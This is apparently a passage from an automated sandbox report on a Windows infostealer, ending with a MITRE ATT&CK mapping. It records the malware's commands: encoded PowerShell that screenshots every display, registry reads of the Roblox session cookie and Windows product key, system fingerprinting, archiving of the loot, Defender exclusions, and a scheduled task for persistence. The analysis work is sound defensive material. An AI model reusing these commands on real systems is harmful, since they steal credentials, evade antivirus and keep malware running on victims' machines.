bgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
      4⤵
      PID:3264
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5248
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wa3vpgzd\wa3vpgzd.cmdline"
        6⤵
        
        PID:6064
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD8B7.tmp" "c:\Users\Admin\AppData\Local\Temp\wa3vpgzd\CSC6F5D1669CD634925AD12FCBEB5E0DCBA.TMP"
        7⤵
        
        PID:1988
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:5144
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:5420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:5624
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:5800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
      4⤵
      PID:5552
    - - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        5⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:6100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:5844
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:5204
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:6020
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2628
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:2820
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:3196
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:4712
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:5376
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
      4⤵
      PID:932
    - - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        5⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:5912
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:1988
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:6112
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "getmac"
      4⤵
      PID:2096
    - - C:\Windows\system32\getmac.exe
        
        getmac
        5⤵
        
        PID:5876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI6522\rar.exe a -r -hp"L8Ot" "C:\Users\Admin\AppData\Local\Temp\WGDhX.zip" *"
      4⤵
      PID:4892
    - - C:\Users\Admin\AppData\Local\Temp\_MEI6522\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI6522\rar.exe a -r -hp"L8Ot" "C:\Users\Admin\AppData\Local\Temp\WGDhX.zip" *
        5⤵
        Executes dropped EXE
        
        PID:3864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
      4⤵
      PID:3188
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3116
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
      4⤵
      PID:2380
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        5⤵
        
        PID:4340
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:4272
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:1520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
      4⤵
      PID:2996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2004
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      PID:2160
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:5968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
      4⤵
      PID:496
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5164
- C:\Windows\Runtime broker.exe
  "C:\Windows\Runtime broker.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  PID:4952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Runtime broker.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime broker.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Runtime Broker.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4976
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Admin\AppData\Roaming\Runtime Broker.exe"
    3⤵
    - Creates scheduled task(s)
    PID:2144

C:\Users\Admin\AppData\Roaming\Runtime Broker.exe
"C:\Users\Admin\AppData\Roaming\Runtime Broker.exe"
1⤵
- Executes dropped EXE
PID:5100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...